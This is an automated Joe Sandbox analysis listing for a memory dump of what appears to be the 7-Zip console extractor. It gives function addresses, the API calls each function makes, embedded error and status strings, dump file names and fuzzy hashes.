free.MSVCRT ref: 007B2CC9
free.MSVCRT ref: 007B2CD4
free.MSVCRT ref: 007B2D10
free.MSVCRT ref: 007B2D18
free.MSVCRT ref: 007B2D29
free.MSVCRT ref: 007B2D37
free.MSVCRT ref: 007B2D42
free.MSVCRT ref: 007B2E6E
free.MSVCRT ref: 007B2E79
free.MSVCRT ref: 007B2EA6
free.MSVCRT ref: 007B2EB1
free.MSVCRT ref: 007B2F03
free.MSVCRT ref: 007B2F0E
free.MSVCRT ref: 007B2F97
free.MSVCRT ref: 007B2F9F
free.MSVCRT ref: 007B2FAD
free.MSVCRT ref: 007B2FC2
free.MSVCRT ref: 007B2FCD
free.MSVCRT ref: 007B300C
free.MSVCRT ref: 007B3017
free.MSVCRT ref: 007B3027
free.MSVCRT ref: 007B3032
free.MSVCRT ref: 007B3042
free.MSVCRT ref: 007B304D
free.MSVCRT ref: 007B305E
free.MSVCRT ref: 007B31EB
free.MSVCRT ref: 007B31F6
free.MSVCRT ref: 007B321C
free.MSVCRT ref: 007B3227

Part of subcall function 00792130: malloc.MSVCRT ref: 00792134
Part of subcall function 00792130: _CxxThrowException.MSVCRT ref: 0079214F

free.MSVCRT ref: 007B325A
free.MSVCRT ref: 007B3262

Part of subcall function 00793314: memmove.MSVCRT ref: 00793339

free.MSVCRT ref: 007B3270
free.MSVCRT ref: 007B329E
free.MSVCRT ref: 007B32A6
free.MSVCRT ref: 007B32D9
free.MSVCRT ref: 007B32E1
free.MSVCRT ref: 007B32F1
free.MSVCRT ref: 007B33E5
free.MSVCRT ref: 007B3445
free.MSVCRT ref: 007B3455
free.MSVCRT ref: 007B3464
free.MSVCRT ref: 007B3472
free.MSVCRT ref: 007B3490
free.MSVCRT ref: 007B349E
free.MSVCRT ref: 007B34BC
free.MSVCRT ref: 007B34CA

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: 4e256cbe4a0c1d894e55577dd840348a68d2e9127456a459469f7d4970d028a4
Instruction ID: 22876fb161df53465790874f11d157dcf6408af82373b6e22eb5176419c8c759
Opcode Fuzzy Hash: 4e256cbe4a0c1d894e55577dd840348a68d2e9127456a459469f7d4970d028a4
Instruction Fuzzy Hash: 8C826A32259AC4D6CA20EF25E4947EEB360FB85B90F504126EB8D57B5ADF7CC946CB00

Function 007B47AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00793314: memmove.MSVCRT ref: 00793339

free.MSVCRT ref: 007B48E0
free.MSVCRT ref: 007B48EE
free.MSVCRT ref: 007B49B8
free.MSVCRT ref: 007B49F1
free.MSVCRT ref: 007B49FF
free.MSVCRT ref: 007B4A0D
free.MSVCRT ref: 007B4A18
free.MSVCRT ref: 007B4A47
free.MSVCRT ref: 007B4A4F
free.MSVCRT ref: 007B4A5D
free.MSVCRT ref: 007B5052

Part of subcall function 00793404: free.MSVCRT ref: 00793431
Part of subcall function 00793404: memmove.MSVCRT ref: 0079344C

free.MSVCRT ref: 007B4C20
free.MSVCRT ref: 007B4C2E
free.MSVCRT ref: 007B4C3C
free.MSVCRT ref: 007B4C47
free.MSVCRT ref: 007B4C79
free.MSVCRT ref: 007B4C81
free.MSVCRT ref: 007B4C90
free.MSVCRT ref: 007B4CB3
free.MSVCRT ref: 007B4CC1
free.MSVCRT ref: 007B4CCF
free.MSVCRT ref: 007B4CDA
free.MSVCRT ref: 007B4D0C
free.MSVCRT ref: 007B4D14
free.MSVCRT ref: 007B4D23
free.MSVCRT ref: 007B4D76
free.MSVCRT ref: 007B4D84
free.MSVCRT ref: 007B4D92
free.MSVCRT ref: 007B4D9D
free.MSVCRT ref: 007B4DCC
free.MSVCRT ref: 007B4DD4
free.MSVCRT ref: 007B4DE3
GetLastError.KERNEL32 ref: 007B4E70
free.MSVCRT ref: 007B4EB2
free.MSVCRT ref: 007B4EC0
free.MSVCRT ref: 007B4ECE
free.MSVCRT ref: 007B4ED9
free.MSVCRT ref: 007B4F08
free.MSVCRT ref: 007B4F10
free.MSVCRT ref: 007B4F1F
free.MSVCRT ref: 007B4FD5
free.MSVCRT ref: 007B4FE3
free.MSVCRT ref: 007B4FF1
free.MSVCRT ref: 007B4FFC
free.MSVCRT ref: 007B502B
free.MSVCRT ref: 007B5033
free.MSVCRT ref: 007B5042
_CxxThrowException.MSVCRT ref: 007B510C
free.MSVCRT ref: 007B51B9
free.MSVCRT ref: 007B51C7
free.MSVCRT ref: 007B51D5
free.MSVCRT ref: 007B51E0
free.MSVCRT ref: 007B520F
free.MSVCRT ref: 007B5217
free.MSVCRT ref: 007B5226
free.MSVCRT ref: 007B5234

Strings

Can not create output directory: , xrefs: 007B4E83

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: a7dd44774a86cfc31dca2b164596641d1bd2a47cdc46722eeb7db53c0d916d07
Instruction ID: acfcc7fc7d39fd30f5993ea00b3725814be3fd3f9ff47cbc84d753b24df8fd6c
Opcode Fuzzy Hash: a7dd44774a86cfc31dca2b164596641d1bd2a47cdc46722eeb7db53c0d916d07
Instruction Fuzzy Hash: 21425E22259AC4D6CA30EF29E8947EEA361F7C6B80F545112DB8D57B1ADF3CC956CB00

Function 007B5458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 007B558E
_CxxThrowException.MSVCRT ref: 007B55C2
_CxxThrowException.MSVCRT ref: 007B55E6
memset.MSVCRT ref: 007B561F
free.MSVCRT ref: 007B56F2
free.MSVCRT ref: 007B5F84

Strings

there is no such archive, xrefs: 007B55A4, 007B5EF9
can't decompress folder, xrefs: 007B55C8

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: 2e8de8ec95246ae197428a0f4b46b566b2038643631a74e7977ba0014a39102a
Instruction ID: 66b7e219491591c355e16e36f871ce47fca56a4228e5ff5173639899b2697e17
Opcode Fuzzy Hash: 2e8de8ec95246ae197428a0f4b46b566b2038643631a74e7977ba0014a39102a
Instruction Fuzzy Hash: 5E525B32249AC5D6CA20EB29E4847EEB760F786B94F405112DF9D53B29DF3CC856CB40

Function 007BF13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ea17c43f2656eab24867a4277591ee53f988a9c8a634700e00343675cc7f60
Instruction ID: 7789190ed393242781ca8553faf1e8c6210464261f7a01e698ef0ba63e965a1d
Opcode Fuzzy Hash: 32ea17c43f2656eab24867a4277591ee53f988a9c8a634700e00343675cc7f60
Instruction Fuzzy Hash: 82425D3A20AAC4C6CB24EB25E494BAE7765F38AF88F555016EA4E47B16CF3CC495C704

Function 0079AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0079AC84
OpenProcessToken.ADVAPI32 ref: 0079AC95
LookupPrivilegeValueW.ADVAPI32 ref: 0079ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,0079F928), ref: 0079ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,0079F928), ref: 0079ACEA
CloseHandle.KERNELBASE ref: 0079ACFA

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 69154792ab5198b95fbc0802d330d6211251160fd0f2d3943a3bec3a2e2e0d69
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: 76018062A1868587DB108F60F88079A73B1FB80B85F548136EB4B83A54CF3CD489CB40

Function 00797978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079794C: FindClose.KERNELBASE ref: 0079795E

FindFirstFileW.KERNELBASE ref: 007979BA

Part of subcall function 0079339C: free.MSVCRT ref: 007933D7
Part of subcall function 0079339C: memmove.MSVCRT(00000000,?,?,00000000,007910A8), ref: 007933F2

FindFirstFileW.KERNELBASE ref: 007979FA
free.MSVCRT ref: 00797A08

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: bd8c0779034183b9863d86c6bd9c3da94ce7c1827ded60c0bfef1885cb77a5c3
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: E0210836218A8096DF21DF28F44436D6361F78A7B8F548321EAA9477D9DF3CCA09C740

Function 007A4418 Relevance: 221.1, APIs: 132, Strings: 14, Instructions: 2096COMMON

Download Yara Rule

Strings

Can not delete output folder, xrefs: 007A5A0E
Can not seek to begin of file, xrefs: 007A642F
Can not create symbolic link, xrefs: 007A5FAB
Can not create file with auto name, xrefs: 007A5796, 007A5867
\??\, xrefs: 007A485F
Can not create hard link, xrefs: 007A5E04, 007A61B7
Can not open output file, xrefs: 007A62D7
Incorrect path, xrefs: 007A5D6E
Can not rename existing file, xrefs: 007A592F
h{, xrefs: 007A4DF7
Can not delete output file, xrefs: 007A5AD5
Can not set length for output file, xrefs: 007A63C0
Internal error for symbolic link file, xrefs: 007A5EFB
Dangerous link path was ignored, xrefs: 007A5CC1

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID:
String ID: h{$Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-30538505
Opcode ID: 93a017d1596765492eb84318f4eb14f9a219988a9175275ef03531af29d7c757
Instruction ID: 1e6f0c69fca39ef0ba457f6aa6512c780133bdf92d5a524043d0c046d601ef51
Opcode Fuzzy Hash: 93a017d1596765492eb84318f4eb14f9a219988a9175275ef03531af29d7c757
Instruction Fuzzy Hash: 94036032249A84D2CE34EB25E4946AEB761F7C6BC0F544212EB9E47B25DF7DC986C700

Function 007D950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 007D97B9
free.MSVCRT ref: 007D97C1
free.MSVCRT ref: 007D97D3
free.MSVCRT ref: 007D97E0
free.MSVCRT ref: 007D97EE
free.MSVCRT ref: 007D9809
free.MSVCRT ref: 007D996E
free.MSVCRT ref: 007D9976
free.MSVCRT ref: 007D9988
free.MSVCRT ref: 007D9995
free.MSVCRT ref: 007D99A3
free.MSVCRT ref: 007D99C0
free.MSVCRT ref: 007D99CD
fputs.MSVCRT ref: 007D9A02
fputs.MSVCRT ref: 007D9A12
_CxxThrowException.MSVCRT ref: 007D9A3A

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

_CxxThrowException.MSVCRT ref: 007DA5E1
free.MSVCRT ref: 007DA5EF
free.MSVCRT ref: 007DA61C
free.MSVCRT ref: 007DA62E
free.MSVCRT ref: 007DA696
free.MSVCRT ref: 007DA69E
free.MSVCRT ref: 007DA6B0

Part of subcall function 00793518: free.MSVCRT ref: 00793551

Strings

Archives: , xrefs: 007D9FE1
Open Errors: , xrefs: 007DA138
Compressed: , xrefs: 007DA2A3
Size: , xrefs: 007DA278
Warnings: , xrefs: 007DA0F0
Alternate Streams Size: , xrefs: 007DA250
Archives with Errors: , xrefs: 007DA07A
OK archives: , xrefs: 007DA008
Archives with Warnings: , xrefs: 007DA0AF
Sub items Errors: , xrefs: 007DA2FB
Incorrect command line, xrefs: 007D9A0B
Folders: , xrefs: 007DA1A8
ERROR: , xrefs: 007D99FB
ERROR:, xrefs: 007D9F89
Files: , xrefs: 007DA1F6
Can't open as archive: , xrefs: 007DA03F
Alternate Streams: , xrefs: 007DA228
7zCon.sfx, xrefs: 007D9543

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: 6c48770ca91270eb0f43c18a396e1d0d422bd449a714dd2617b0154431f8733d
Instruction ID: 6c267f52bc82bbe57a3b917b98687430b66af35fe22a584d1c9a742ef5b22811
Opcode Fuzzy Hash: 6c48770ca91270eb0f43c18a396e1d0d422bd449a714dd2617b0154431f8733d
Instruction Fuzzy Hash: ED724472209AC5E5CA34EB25F8943EEA3B1F785B80F444126DA9E47B1ADF3CC556CB01

Function 007D9B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 007D9B6B

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

free.MSVCRT ref: 007D9C12

Strings

Archives: , xrefs: 007D9FE1
Open Errors: , xrefs: 007DA138
Compressed: , xrefs: 007DA2A3
Size: , xrefs: 007DA278
Warnings: , xrefs: 007DA0F0
Alternate Streams Size: , xrefs: 007DA250
Archives with Errors: , xrefs: 007DA07A
OK archives: , xrefs: 007DA008
Archives with Warnings: , xrefs: 007DA0AF
Scanning the drive for archives:, xrefs: 007D9B64
Folders: , xrefs: 007DA1A8
ERROR:, xrefs: 007D9F89
Files: , xrefs: 007DA1F6
Can't open as archive: , xrefs: 007DA03F
Alternate Streams: , xrefs: 007DA228

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: 52eca1c720360a96b5f1cad79a777f51e0d7cf5cf657028d3eac016911b17338
Instruction ID: b5dc60ab1e945246537cffa52dee83b7193ac9ef5c0d067f1eee9c1affdafbc7
Opcode Fuzzy Hash: 52eca1c720360a96b5f1cad79a777f51e0d7cf5cf657028d3eac016911b17338
Instruction Fuzzy Hash: 1422137620AAC1E1CA74EB25E8943EEA3B0F785B80F444126DA9E47B1ADF3CC556C711

Function 007BA180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 007BA1BF
GetProcAddress.KERNEL32 ref: 007BA1D2
GetProcAddress.KERNEL32 ref: 007BA1F5
GetProcAddress.KERNEL32 ref: 007BA21E

Strings

GetNumberOfFormats, xrefs: 007BA1EB
GetHandlerProperty, xrefs: 007BA214
GetIsArc, xrefs: 007BA1C8
GetHandlerProperty2, xrefs: 007BA1B5

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 753b0d9ca988719fe0be5fc4b9a7bc1a98751f9b1b540d81fe976a9fa7aa9b16
Instruction ID: 368bccfb70edfcbc4b9fc0d9dfe56d48c33ee9e6dc73cff4cee6e6a85f1cc8f9
Opcode Fuzzy Hash: 753b0d9ca988719fe0be5fc4b9a7bc1a98751f9b1b540d81fe976a9fa7aa9b16
Instruction Fuzzy Hash: 70D14F72259AC0E6CA20EB25F8447DEA3A4F7C6B80F441525EB8E87B19DF7CD546CB01

Function 007970C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00797D4C: GetFileAttributesW.KERNELBASE ref: 00797D6E
Part of subcall function 00797D4C: GetFileAttributesW.KERNEL32 ref: 00797DA5
Part of subcall function 00797D4C: free.MSVCRT ref: 00797DB2

free.MSVCRT ref: 007973F6

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: b5df9c42ebbd90fa4862aae1c922f76f3df295c1235d118d32f3bfe00cc2ed0e
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: 0E818F2227C585D2CE24EF26F85566EA331FBC5784F445122FB8E8766ADE2CD906DB00

Function 0079F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00791610: free.MSVCRT ref: 00791682
Part of subcall function 00791610: free.MSVCRT ref: 0079168A
Part of subcall function 00791610: free.MSVCRT ref: 007916C4

_CxxThrowException.MSVCRT ref: 0079F76E
_isatty.MSVCRT ref: 0079F77E
_isatty.MSVCRT ref: 0079F796
_isatty.MSVCRT ref: 0079F7AE
_CxxThrowException.MSVCRT ref: 0079F8E0
wcscmp.MSVCRT ref: 0079F96F
_CxxThrowException.MSVCRT ref: 0079F9AE
_CxxThrowException.MSVCRT ref: 0079FA6F
GetCurrentProcess.KERNEL32 ref: 0079FA77
SetProcessAffinityMask.KERNEL32 ref: 0079FA83
free.MSVCRT ref: 0079FA8F

Strings

Unsupported switch postfix -stm, xrefs: 0079FA52
SeRestorePrivilege, xrefs: 0079F91C
SeCreateSymbolicLinkPrivilege, xrefs: 0079F92A
SeLockMemoryPrivilege, xrefs: 0079F9CB
Unsupported switch postfix -bb, xrefs: 0079F8C3
Unsupported switch postfix for -slp, xrefs: 0079F991

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction ID: a54bb8981dce2715602572236b5a5a66bab13889a55d0d0614f0160c39b99a67
Opcode Fuzzy Hash: c2f4b7cbffa4da8aa62650c82c274732c1406b7f11731e234dbbf7887eb3a42e
Instruction Fuzzy Hash: BDA18D73A08AC5DADF11DF25E4943AC3B20E786B94F988076DB8D87725CB6CD995C700

Function 007DA448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 007DA477

Part of subcall function 007926A0: fputs.MSVCRT ref: 007926C1

fputs.MSVCRT ref: 007DA4C1
free.MSVCRT ref: 007DA52B
free.MSVCRT ref: 007DA533
free.MSVCRT ref: 007DA545
free.MSVCRT ref: 007DA57A
free.MSVCRT ref: 007DA582
free.MSVCRT ref: 007DA594
_CxxThrowException.MSVCRT ref: 007DA5E1
free.MSVCRT ref: 007DA5EF
free.MSVCRT ref: 007DA61C
free.MSVCRT ref: 007DA62E

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

Strings

Warnings: , xrefs: 007DA470
Errors: , xrefs: 007DA4BA

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: c75879e89a0d6b0eb1bb642928b78a50b68f1ecf96ffdd04da6d3d4d6d5326dc
Instruction ID: d3356993399a711933b7f321a4d4ad49024e7957af2deaad79d8bbcf069c8fc8
Opcode Fuzzy Hash: c75879e89a0d6b0eb1bb642928b78a50b68f1ecf96ffdd04da6d3d4d6d5326dc
Instruction Fuzzy Hash: 8651A1227595C5E1CD30BB29F9847ADA371F781B90F484123DA9E17B5ACF3CC8968702

Function 007B83C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00798624: free.MSVCRT ref: 007986A9

free.MSVCRT ref: 007B8493
free.MSVCRT ref: 007B84A7
free.MSVCRT ref: 007B84B8
free.MSVCRT ref: 007B8503
free.MSVCRT ref: 007B850E

Part of subcall function 007986DC: free.MSVCRT ref: 00798761

free.MSVCRT ref: 007B854D
free.MSVCRT ref: 007B8558
free.MSVCRT ref: 007B8590
free.MSVCRT ref: 007B859B

Part of subcall function 007B8290: free.MSVCRT ref: 007B832B
Part of subcall function 007B8290: free.MSVCRT ref: 007B8336

free.MSVCRT ref: 007B85D0
free.MSVCRT ref: 007B85DB
free.MSVCRT ref: 007B85EA
free.MSVCRT ref: 007B8602

Part of subcall function 00793314: memmove.MSVCRT ref: 00793339

Strings

Path, xrefs: 007B856A, 007B85AA
7z.dll, xrefs: 007B83F0
Codecs, xrefs: 007B841F
Path64, xrefs: 007B84D6, 007B8520
Formats, xrefs: 007B844E

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

